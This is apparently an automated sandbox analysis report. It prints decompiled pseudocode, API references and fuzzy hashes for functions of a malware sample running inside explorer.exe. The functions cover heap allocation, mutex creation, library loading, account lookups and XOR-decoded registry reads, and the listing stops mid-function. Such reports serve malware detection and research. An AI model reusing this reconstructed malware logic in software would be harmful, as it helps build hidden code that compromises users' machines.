Uniqueness

Uniqueness Score: -1.00%

Function 0110B444, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110B444(void* __ecx, intOrPtr _a4) {
				void* _t15;
				intOrPtr _t25;

				_t25 = _a4;
				_t15 =  *((intOrPtr*)( *0x112b760 + 0x2c))( *(_t25 + 0x1c), 0x3a98);
				if(_t15 == 0 || _t15 == 0x80) {
					FindCloseChangeNotification( *(_t25 + 0x1c));
					 *((intOrPtr*)(_t25 + 0x18)) =  *((intOrPtr*)(_t25 + 8))( *((intOrPtr*)(_t25 + 0xc)));
					if(( *(_t25 + 0x14) & 0x00000001) == 0) {
						E0110B3D7(_t25, 1);
					}
					return  *((intOrPtr*)(_t25 + 0x18));
				} else {
					return 0;
				}
			}

0x0110b448
0x0110b459
0x0110b45e
0x0110b473
0x0110b480
0x0110b483
0x0110b489
0x0110b48e
0x00000000
0x0110b467
0x00000000
0x0110b467

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0110B473

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f553aa21e6e0cbbbd494ec0df8ce1836a2fddb5c5a5375ebb17a3bda571b4317
Instruction ID: 8826860129bae7320806186d376a1907bbf2b33efe2256200cc551bcd89af21d
Opcode Fuzzy Hash: f553aa21e6e0cbbbd494ec0df8ce1836a2fddb5c5a5375ebb17a3bda571b4317
Instruction Fuzzy Hash: 4AF0B430608B04AFC3359F19D844E567BE8FF08710B058529F946C75E1C7B1F9448795

Uniqueness

Uniqueness Score: -1.00%

Function 0110B776, Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0110B776(WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _t5;
				void* _t6;
				void* _t10;
				void* _t13;
				void* _t14;

				_t5 = E0110B7B7(_a4, 2); // executed
				_t14 = _t5;
				_pop(_t13);
				if(_t14 != 0) {
					_t6 = E0110B691(_t13, _t14, _a8, _a12); // executed
					if(_t6 != 0) {
						FindCloseChangeNotification(_t14);
						return 0;
					}
					_t10 = 0xfffffffe;
					return _t10;
				}
				return _t5 | 0xffffffff;
			}

0x0110b77f
0x0110b784
0x0110b787
0x0110b78a
0x0110b798
0x0110b7a2
0x0110b7af
0x00000000
0x0110b7b2
0x0110b7a6
0x00000000
0x0110b7a6
0x00000000

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 694c27c17bc69878320c335a6e9930e1bcaa65ef3370a9383a1992906c5deae2
Instruction ID: fb8038ff331eeeb7d7d4e938997fe8efe11e7497b732968efe0d831b0983fe1e
Opcode Fuzzy Hash: 694c27c17bc69878320c335a6e9930e1bcaa65ef3370a9383a1992906c5deae2
Instruction Fuzzy Hash: CAE0D83AC0C9167FDB2F5AA89C04E9A3B58EF05374B590221FE24992D2E7A1842087C9

Uniqueness

Uniqueness Score: -1.00%

Function 0110E6ED, Relevance: 1.5, APIs: 1, Instructions: 30
libraryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0110E6ED(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _t8;
				struct HINSTANCE__* _t10;
				void* _t15;
				void* _t20;

				_t8 = E01108A79();
				_t20 = 0;
				_v8 = _t8;
				_push(_t8);
				if(_a12 != 0x36a) {
					_t10 = LoadLibraryA(); // executed
				} else {
					_t10 = GetModuleHandleA();
				}
				if(_t10 != 0) {
					_t15 = E0110E739(_a8, _a4, _t10); // executed
					_t20 = _t15;
				}
				E0110A72E( &_v8);
				return _t20;
			}

0x0110e6f5
0x0110e6fa
0x0110e703
0x0110e706
0x0110e707
0x0110e716
0x0110e709
0x0110e709
0x0110e709
0x0110e71a
0x0110e723
0x0110e72a
0x0110e72a
0x0110e72f
0x0110e738

APIs

LoadLibraryA.KERNELBASE(00000000,00000000), ref: 0110E716

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cc175e6d2b09f72343191f08ef2ab927820fdb6767a485bc7e65d74ab0907acd
Instruction ID: ec88fb72be9ac1ab2f8d828e8a16872f95c393c11815f80d34b893b0ac494ef1
Opcode Fuzzy Hash: cc175e6d2b09f72343191f08ef2ab927820fdb6767a485bc7e65d74ab0907acd
Instruction Fuzzy Hash: B4F0A031905A19AFEB1AAF69EC4089E7BE8EF04394B104165F811DB190DBB0DE408BD4

Uniqueness

Uniqueness Score: -1.00%

Function 0110B177, Relevance: 1.5, APIs: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110B177() {
				signed int _t3;

				_t3 = CreateMutexA(0, 0, 0);
				 *0x112b858 = _t3;
				if(_t3 != 0) {
					_t3 = E01109568(0x1000);
					 *0x112b810 = _t3;
					if(_t3 == 0) {
						goto L1;
					} else {
						 *0x112b80c =  *0x112b80c & 0x00000000;
						return 0;
					}
				} else {
					L1:
					return _t3 | 0xffffffff;
				}
			}

0x0110b182
0x0110b188
0x0110b18f
0x0110b19a
0x0110b1a0
0x0110b1a7
0x00000000
0x0110b1a9
0x0110b1a9
0x0110b1b2
0x0110b1b2
0x0110b191
0x0110b191
0x0110b194
0x0110b194

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00000000,0110295A), ref: 0110B182

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 87004b19c61a33fb99d9a0b5533ddfedddf41c022b957cde1b398a9ae621b251
Instruction ID: f846b20299140ff5dd4acd3e98da58190fcd1376353309aabc9563b4bb662881
Opcode Fuzzy Hash: 87004b19c61a33fb99d9a0b5533ddfedddf41c022b957cde1b398a9ae621b251
Instruction Fuzzy Hash: E1E0EC74A586466AE73A5E29AC05B5037D4A704756F548576E628D90C8EBF0D0908B18

Uniqueness

Uniqueness Score: -1.00%

Function 0110B668, Relevance: 1.5, APIs: 1, Instructions: 19
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0110B668(WCHAR* _a4) {
				signed int _t6;

				_t6 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0, 0);
				_t3 = _t6 + 1; // 0x1
				asm("sbb eax, eax");
				return  ~_t3 & _t6;
			}

0x0110b681
0x0110b686
0x0110b68b
0x0110b690

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,0110B6F7,00000000,00000000,00000400,00000000,?,?,0111B30F), ref: 0110B681

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2ff812a19c252fe5bee10bac69f67adc35ef7945e8436c783180a10456d1e783
Instruction ID: fad99a7fdea22baf51b136d2ea0fa878ed1c0bb110ccd1e44b7c505879511137
Opcode Fuzzy Hash: 2ff812a19c252fe5bee10bac69f67adc35ef7945e8436c783180a10456d1e783
Instruction Fuzzy Hash: ADD0A9323A820CBFEB208E74DC42FB237DDE700600F144238BA09DA1E0E662E9508654

Uniqueness

Uniqueness Score: -1.00%

Function 0110B8D9, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110B8D9(WCHAR* _a4) {

				return 0 | GetFileAttributesW(_a4) != 0xffffffff;
			}

0x0110b8f2

APIs

GetFileAttributesW.KERNELBASE(01102774,?,01102774,?), ref: 0110B8E4

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6d69b3c48ad54dcc02667a0f8809ef2a050c6484a257f63221404f1c7dbac54f
Instruction ID: 7ca380a84c8d856658894634a0012788d6be3259c0321c5802479f5f35430e39
Opcode Fuzzy Hash: 6d69b3c48ad54dcc02667a0f8809ef2a050c6484a257f63221404f1c7dbac54f
Instruction Fuzzy Hash: 33C08C3522820C6FCB181E38E88184C3B98EB082303000224F439C62F0E622E8A08B44

Uniqueness

Uniqueness Score: -1.00%

Function 01109568, Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01109568(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x112b804, 8, _a4); // executed
				return _t2;
			}

0x01109576
0x0110957d

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7cd444a624598c5b6de853555f1a91eb9a866b96f20b192f663c878ff3434ef3
Instruction ID: 1cd650062bf9cde6fc8cff356d2b89db2f16dc84af13ccf9dbad1a02d6a43711
Opcode Fuzzy Hash: 7cd444a624598c5b6de853555f1a91eb9a866b96f20b192f663c878ff3434ef3
Instruction Fuzzy Hash: D8B09231084608FBEA391E91FC06E847F69E708691F088020F62C040658BB764B09B98

Uniqueness

Uniqueness Score: -1.00%

Function 011083C8, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011083C8() {
				int _t3;

				_t3 = FindCloseChangeNotification( *0x112b7f4);
				if(_t3 != 0) {
					 *0x112b7f4 =  *0x112b7f4 & 0x00000000;
					return _t3;
				}
				return _t3;
			}

0x011083d3
0x011083d8
0x011083da
0x00000000
0x011083da
0x011083e1

APIs

FindCloseChangeNotification.KERNELBASE(01108756), ref: 011083D3

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 44e0ae9988337355f0c28568af559251e80492ba36270845d177ed483d103ee7
Instruction ID: e0a48c284f10e291cfa08b376e5b47ac7a626c9eb327c04e5b4ea71e1657ea15
Opcode Fuzzy Hash: 44e0ae9988337355f0c28568af559251e80492ba36270845d177ed483d103ee7
Instruction Fuzzy Hash: 85C04874A28906AFEB3D8F16EA88B143BA8FB40702F8C00B4D420861E8C774D4A0CB0C

Uniqueness

Uniqueness Score: -1.00%

Function 01109605, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01109605() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x112b804 = _t1;
				return _t1;
			}

0x0110960e
0x01109614
0x01109619

APIs

HeapCreate.KERNELBASE(00000000,00080000,00000000,01102E5F), ref: 0110960E

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 4ad59e0d63bd1534cbdafd43bb4a79b3f4608c21836cfbb88e5a0540c74cfc1c
Instruction ID: e23b57acbc248affa8c9a54d861ebf9c47f23292f9cc4da3f4a0c71ace0a1831
Opcode Fuzzy Hash: 4ad59e0d63bd1534cbdafd43bb4a79b3f4608c21836cfbb88e5a0540c74cfc1c
Instruction Fuzzy Hash: 03B002746C57007BE6745F505D06B043AA07744B42F284565F755991C8D6F411545B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0111B278, Relevance: 1.4, APIs: 1, Instructions: 101
sleepCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0111B278() {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _t26;
				void* _t32;
				void* _t37;
				char* _t38;
				char _t43;
				void* _t52;
				char* _t60;
				void* _t63;
				void* _t65;
				void* _t66;
				void* _t67;

				_t26 = E01109568( *((intOrPtr*)( *0x112b70c + 4))); // executed
				_pop(_t52);
				_v12 = _t26;
				if(_t26 != 0) {
					_t28 =  *0x112b70c;
					if( *((intOrPtr*)( *0x112b70c + 4)) > 0x400) {
						E01109543(_v12,  *_t28, 0x400);
						_v8 = _v8 & 0x00000000;
						_t37 = E01108A90(_t52, 0x23b);
						_t55 =  *0x112b740;
						_t66 = _t65 + 0x10;
						_t60 = L"SysWOW64";
						if( *((intOrPtr*)( *0x112b740 + 0xa8)) == 0) {
							_t60 = L"System32";
						}
						_push(0);
						_push(_t37);
						_t38 = "\\";
						_push(_t38);
						_push(_t60);
						_push(_t38);
						_v16 = E0110ABBC(_t55 + 0x1020);
						E0110A741( &_v16);
						_t43 = E0110B6D7(_v16,  &_v8);
						_t67 = _t66 + 0x24;
						_v20 = _t43;
						if(_t43 != 0 && _v8 > 0x400) {
							_t58 =  *((intOrPtr*)( *0x112b70c + 4));
							if(_v8 <  *((intOrPtr*)( *0x112b70c + 4))) {
								_t58 = _v8;
							}
							E01109543(_v12 + 0x400, _t43 + 0x400, _t58 + 0xfffffc00);
							_t67 = _t67 + 0xc;
						}
						E011094F4( &_v20, _v8);
						E011094F4( &_v16, 0xfffffffe);
						_t65 = _t67 + 0x10;
					}
					_t63 = 0;
					while(1) {
						_t32 = E0110B776( *0x112b740 + 0x228, _v12,  *((intOrPtr*)( *0x112b70c + 4))); // executed
						_t65 = _t65 + 0xc;
						if(_t32 >= 0) {
							break;
						}
						Sleep(1);
						_t63 = _t63 + 1;
						if(_t63 < 0x2710) {
							continue;
						}
						break;
					}
					E011094F4( &_v12, 0);
				}
				return 0;
			}

0x0111b286
0x0111b28b
0x0111b28c
0x0111b291
0x0111b297
0x0111b2a5
0x0111b2b1
0x0111b2b6
0x0111b2bf
0x0111b2c4
0x0111b2ca
0x0111b2d4
0x0111b2d9
0x0111b2db
0x0111b2db
0x0111b2e0
0x0111b2e2
0x0111b2e3
0x0111b2e8
0x0111b2e9
0x0111b2ea
0x0111b2f7
0x0111b2fe
0x0111b30a
0x0111b30f
0x0111b312
0x0111b317
0x0111b324
0x0111b32a
0x0111b32c
0x0111b32c
0x0111b345
0x0111b34a
0x0111b34a
0x0111b354
0x0111b35f
0x0111b364
0x0111b364
0x0111b367
0x0111b369
0x0111b37f
0x0111b384
0x0111b389
0x00000000
0x00000000
0x0111b392
0x0111b398
0x0111b39f
0x00000000
0x00000000
0x00000000
0x0111b39f
0x0111b3a7
0x0111b3ae
0x0111b3b2

APIs

Part of subcall function 01109568: RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

Sleep.KERNELBASE(00000001,?,?,?,?,?,?,0111B556,?,?,?,0111B607,00000000), ref: 0111B392

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeapSleep
String ID:
API String ID: 4201116106-0
Opcode ID: db069b87e2c595b8f9c7b1d9e034a0960b39fbd2edfd1b544418024ee9c02aae
Instruction ID: 71188dcf5dd0ca03949621a924ec70194aae1e18f3760b75286fb5be97d6a601
Opcode Fuzzy Hash: db069b87e2c595b8f9c7b1d9e034a0960b39fbd2edfd1b544418024ee9c02aae
Instruction Fuzzy Hash: 8C312871D08209BBDB19EBA4DC44BAE77B9EF04308F144075E614E32D1DB75DA50CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0111354E, Relevance: 1.3, APIs: 1, Instructions: 95
sleepCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0111354E(void* __edx, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v32;
				void* _v36;
				char _v548;
				signed int _t48;
				void* _t72;
				void* _t78;
				intOrPtr* _t80;
				void* _t83;
				void* _t85;

				_t85 = __fp0;
				_t78 = __edx;
				_v16 = 0;
				_v36 = 0;
				_v28 = 0;
				_t48 =  *((intOrPtr*)( *0x112b778 + 4))(_a4, 0, 2,  &_v12, 0xffffffff,  &_v16,  &_v36,  &_v28);
				if(_t48 == 0) {
					_v8 = 0;
					if(_v16 <= 0) {
						L9:
						 *((intOrPtr*)( *0x112b778 + 0xc))(_v12);
						return 0;
					}
					_t80 = LookupAccountNameW;
					do {
						_v20 = 0;
						_v24 = 0;
						 *_t80(0,  *((intOrPtr*)(_v12 + _v8 * 4)), 0,  &_v20, 0,  &_v24,  &_v32); // executed
						_t72 = E01109568(_v20 + 1);
						if(_t72 != 0) {
							_push( &_v32);
							_push( &_v24);
							_push( &_v548);
							_push( &_v20);
							_push(_t72);
							_v24 = 0x200;
							_push( *((intOrPtr*)(_v12 + _v8 * 4)));
							_push(0);
							if( *_t80() != 0) {
								E01108222(_v8, _t78, _t85,  *((intOrPtr*)(_v12 + _v8 * 4)), _t72, _a8); // executed
								_t83 = _t83 + 0xc;
								Sleep(0xa);
							}
						}
						_v8 = _v8 + 1;
					} while (_v8 < _v16);
					goto L9;
				}
				return _t48 | 0xffffffff;
			}

0x0111354e
0x0111354e
0x01113577
0x0111357a
0x0111357d
0x01113580
0x01113585
0x0111358f
0x01113595
0x01113632
0x0111363a
0x00000000
0x0111363d
0x0111359d
0x011135a3
0x011135b7
0x011135ba
0x011135c1
0x011135cd
0x011135d2
0x011135da
0x011135de
0x011135e5
0x011135e9
0x011135ed
0x011135ee
0x011135f5
0x011135f8
0x011135fd
0x0111360c
0x01113616
0x0111361b
0x0111361b
0x011135fd
0x01113621
0x01113627
0x00000000
0x01113631
0x00000000

APIs

Sleep.KERNELBASE(0000000A), ref: 0111361B

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 68677215ee16ff4c59ebef3cfdaefe16cb7ff496224ee209f7c856f2680fe9bd
Instruction ID: b371e1dd29a9d9600bba6eba8d277f1b72043074c9d10e6749377793c0417644
Opcode Fuzzy Hash: 68677215ee16ff4c59ebef3cfdaefe16cb7ff496224ee209f7c856f2680fe9bd
Instruction Fuzzy Hash: 1031EDB2900119AFDB15DFD8D884DEEBBBCFB08724F100166E625E2295D730AA51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0110288A, Relevance: 1.3, APIs: 1, Instructions: 91
sleepCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0110288A(void* __edx) {
				char _v44;
				void* __esi;
				void* _t6;
				intOrPtr _t12;
				intOrPtr _t20;
				intOrPtr _t22;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t42;
				char* _t47;

				_t41 = __edx;
				_t6 = E01108AB0(__edx, 0x3b); // executed
				_t37 = _t42;
				if(_t6 != 0xffffffff || E011029C3() == 0) {
					E0110B036(_t37, _t41, 0x112b818);
					_push( *0x112b81c);
					_push( *0x112b818);
					_t38 = 0x37; // executed
					E01108B5C(_t38); // executed
					_push(0);
					_push( *((intOrPtr*)( *0x112b740 + 0x1640)));
					_t39 = 0x3a; // executed
					E01108B5C(_t39); // executed
					 *0x112b73c = E0110E6ED(0x1128410, 0x54, 0x821); // executed
					_t12 = E0110E6ED(0x1128468, 4, 0x39d); // executed
					 *0x112b754 = _t12; // executed
					E0110DC0E(); // executed
					_t47 =  &_v44;
					E0110B497(_t47, __eflags,  *((intOrPtr*)( *0x112b740 + 0xac)) + 2);
					_pop(_t40);
					_t20 =  *((intOrPtr*)( *0x112b760 + 0xc4))(0, 0, 0, _t47);
					 *0x112b738 = _t20;
					__eflags = _t20;
					if(_t20 == 0) {
						goto L2;
					} else {
						E0110B177(); // executed
						E01103F29(_t40); // executed
						E0110B1B3(_t40, E01105C57, 0, 0, 0); // executed
						E01105D71(); // executed
						E01105FA5(_t47, __eflags); // executed
						E0110521A(_t41); // executed
						E01106BEE(_t41); // executed
						while(1) {
							__eflags =  *0x112b838;
							if( *0x112b838 != 0) {
								break;
							}
							E0110B036(_t40, _t41, 0x112b730); // executed
							E01104FDA(); // executed
							Sleep(0xfa0);
						}
						E01106C98();
						E0110B35A(_t40);
						E01106073();
						_t22 = 0;
						__eflags = 0;
					}
				} else {
					L2:
					_t22 = 1;
				}
				return _t22;
			}

0x0110288a
0x01102897
0x0110289c
0x011028a0
0x011028b8
0x011028bd
0x011028c3
0x011028cb
0x011028cc
0x011028d8
0x011028d9
0x011028e1
0x011028e2
0x01102907
0x0110290c
0x01102914
0x01102919
0x0110292d
0x01102931
0x01102936
0x01102942
0x01102948
0x0110294d
0x0110294f
0x00000000
0x01102955
0x01102955
0x0110295a
0x01102967
0x0110296f
0x01102974
0x01102979
0x0110297e
0x011029a4
0x011029a4
0x011029aa
0x00000000
0x00000000
0x0110298a
0x0110298f
0x0110299e
0x0110299e
0x011029ac
0x011029b1
0x011029b6
0x011029bb
0x011029bb
0x011029bb
0x011028ab
0x011028ab
0x011028ad
0x011028ad
0x011029c2

APIs

Sleep.KERNELBASE(00000FA0), ref: 0110299E

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 594db7f33176f9b986790570044ff3a91b151e0b943a0ed7dcdbb44f8af72363
Instruction ID: 508a964ccadf6ea66322dfab06201e9a430af90eff0369b4ea6f5eeb61951c12
Opcode Fuzzy Hash: 594db7f33176f9b986790570044ff3a91b151e0b943a0ed7dcdbb44f8af72363
Instruction Fuzzy Hash: 57212831E482017AD63F7BB5AC49E1A3BA8EBA5718F080579F224861C4DBF04060C7BB

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: explorer.exe PID: 7024 Parent PID: 4864 explorer.exeCOMMON

Executed Functions

Function 00669010, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00669010(void* __fp0, intOrPtr _a4, long _a8, long _a12, long _a16, long _a20) {
				int _v8;
				int _v12;
				char _v16;
				int _v20;
				int _v24;
				long* _v28;
				char _v32;
				char _v36;
				long _v40;
				char _v104;
				void* __ebx;
				intOrPtr _t96;
				int _t98;
				long _t103;
				long _t104;
				long _t107;
				signed char _t114;
				long _t117;
				long _t118;
				long _t132;
				long _t136;
				long _t138;
				char* _t142;
				int _t147;
				int _t151;
				long _t153;
				long _t158;
				long _t159;
				void* _t161;
				signed int _t166;
				int _t173;
				long* _t175;
				char* _t176;
				char* _t177;
				void* _t178;
				void* _t179;
				void* _t181;

				_t159 = _a12;
				_v32 = 0;
				_v24 = 0x80000001;
				_v8 = 0;
				_t175 = E00669568(0x110);
				_v28 = _t175;
				if(_t175 != 0) {
					_t175[0x42] = _t159;
					E0066CFDE( &_v104, __eflags, __fp0, _t159);
					__eflags = _v104 - 0x61 - 0x19;
					if(_v104 - 0x61 <= 0x19) {
						_v104 = _v104 + 0xe0;
					}
					_v16 = E00668A79();
					__eflags = _a8;
					if(_a8 == 0) {
						L16:
						_t96 =  *0x68b740;
						__eflags =  *((intOrPtr*)(_t96 + 0x214)) - 3;
						if( *((intOrPtr*)(_t96 + 0x214)) != 3) {
							_push(0);
							_push( &_v104);
							_push("\\");
							_t98 = E0066AB67(_v16);
							_t179 = _t179 + 0x10;
							L20:
							_v8 = _t98;
							goto L21;
						}
						_v20 = 0;
						_v24 = 0x80000003;
						 *((intOrPtr*)( *0x68b76c + 0x20))( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x110)))),  &_v20);
						__eflags = _v20;
						if(_v20 == 0) {
							goto L21;
						}
						_push(0);
						_push( &_v104);
						_t176 = "\\";
						_push(_t176);
						_push(_v16);
						_push(_t176);
						_t98 = E0066AB67(_v20);
						_t175 = _v28;
						_t179 = _t179 + 0x18;
						goto L20;
					} else {
						_t132 =  *((intOrPtr*)( *0x68b76c + 0x64))(_a8,  *((intOrPtr*)( *((intOrPtr*)( *0x68b740 + 0x110)))));
						__eflags = _t132;
						if(_t132 != 0) {
							goto L16;
						}
						_v12 = 0;
						_v24 = 0x80000003;
						 *((intOrPtr*)( *0x68b76c + 0x20))(_a8,  &_v12);
						__eflags = _v12;
						if(_v12 == 0) {
							L21:
							E0066A72E( &_v16);
							_t161 = _v24;
							_t66 =  &_v32; // 0x662d43
							_t103 = RegOpenKeyExA(_t161, _v8, 0, 0x20019, _t66);
							__eflags = _t103;
							if(_t103 == 0) {
								_t104 = _a16;
								__eflags = _t104;
								if(_t104 != 0) {
									 *_t104 = 1;
								}
								_t79 =  &_v32; // 0x662d43
								_push( *_t79);
								L30:
								 *((intOrPtr*)( *0x68b76c + 0x1c))();
								_t173 = _v8;
								_t175[0x43] = _t161;
								_t107 = E0066C90F(_t173);
								_t166 = 0;
								 *_t175 = _t107;
								__eflags = _t107;
								if(_t107 <= 0) {
									L32:
									E006694F4( &_v8, 0xffffffff);
									return _t175;
								} else {
									goto L31;
								}
								do {
									L31:
									_t114 =  *(_t178 + (_t166 & 0x00000003) + 0x10) ^  *(_t166 + _t173);
									_t166 = _t166 + 1;
									 *(_t175 + _t166 + 3) = _t114;
									__eflags = _t166 -  *_t175;
								} while (_t166 <  *_t175);
								goto L32;
							}
							_v24 = 0;
							_t117 =  *((intOrPtr*)( *0x68b76c + 0x24))(_t161, _v8,  &_v24);
							__eflags = _t117;
							if(_t117 == 0) {
								_t118 = _a16;
								__eflags = _t118;
								if(_t118 != 0) {
									 *_t118 = 0;
								}
								_push(_v24);
								goto L30;
							}
							L23:
							E006694F4( &_v28, 0x110);
							_push(0x40);
							_push(0);
							_push( &_v104);
							L0067CAF8();
							E006694F4( &_v8, 0xffffffff);
							goto L1;
						}
						_push(0);
						_push(_v16);
						_t177 = "\\";
						_push(_t177);
						_t136 = E0066AB67(_v12);
						_t179 = _t179 + 0x10;
						_v40 = _t136;
						__eflags = _t136;
						if(_t136 == 0) {
							goto L23;
						}
						_t138 =  *((intOrPtr*)( *0x68b76c + 0x14))(0x80000003, _t136, 0, 0x20019,  &_v36);
						__eflags = _t138;
						if(_t138 == 0) {
							 *((intOrPtr*)( *0x68b76c + 0x1c))(_v36);
						} else {
							_t147 = E00668A90( &_v36, 0x392);
							_v8 = _t147;
							_v20 = E0066ABBC(_a4);
							E0066A741( &_v8);
							_t151 = E0066ADFD(_v12);
							_t181 = _t179 + 0x1c;
							_v8 = _t151;
							_t153 =  *((intOrPtr*)( *0x68b76c + 0x2c))(0x80000003, _t151, _v20, "\\", _t147, 0);
							__eflags = _t153;
							if(_t153 == 0) {
								_t158 = _a20;
								__eflags = _t158;
								if(_t158 != 0) {
									 *_t158 = 1;
								}
							}
							E006694F4( &_v20, 0xfffffffe);
							E006694F4( &_v8, 0xfffffffe);
							_t179 = _t181 + 0x10;
						}
						_t142 = E0066AB67(_v12);
						_t179 = _t179 + 0x18;
						_v8 = _t142;
						 *((intOrPtr*)( *0x68b760 + 0x34))(_v12, _t177, _v16, _t177,  &_v104, 0);
						E006694F4( &_v40, 0xffffffff);
						_t175 = _v28;
						goto L21;
					}
				}
				L1:
				return 0;
			}

0x00669017
0x00669023
0x00669026
0x0066902d
0x00669035
0x00669038
0x0066903d
0x00669046
0x00669050
0x0066905b
0x0066905d
0x0066905f
0x0066905f
0x00669075
0x00669078
0x0066907b
0x006691ab
0x006691ab
0x006691b0
0x006691b7
0x006691fb
0x006691ff
0x00669200
0x00669208
0x0066920d
0x00669210
0x00669210
0x00000000
0x00669210
0x006691b9
0x006691cd
0x006691d4
0x006691d7
0x006691da
0x00000000
0x00000000
0x006691dc
0x006691e0
0x006691e1
0x006691e6
0x006691e7
0x006691ea
0x006691ee
0x006691f3
0x006691f6
0x00000000
0x00669081
0x00669096
0x00669099
0x0066909b
0x00000000
0x00000000
0x006690b2
0x006690b5
0x006690b8
0x006690bb
0x006690be
0x00669213
0x00669216
0x0066921b
0x0066921e
0x00669231
0x00669234
0x00669236
0x0066928a
0x0066928d
0x0066928f
0x00669291
0x00669291
0x00669297
0x00669297
0x0066929a
0x0066929f
0x006692a2
0x006692a6
0x006692ac
0x006692b2
0x006692b4
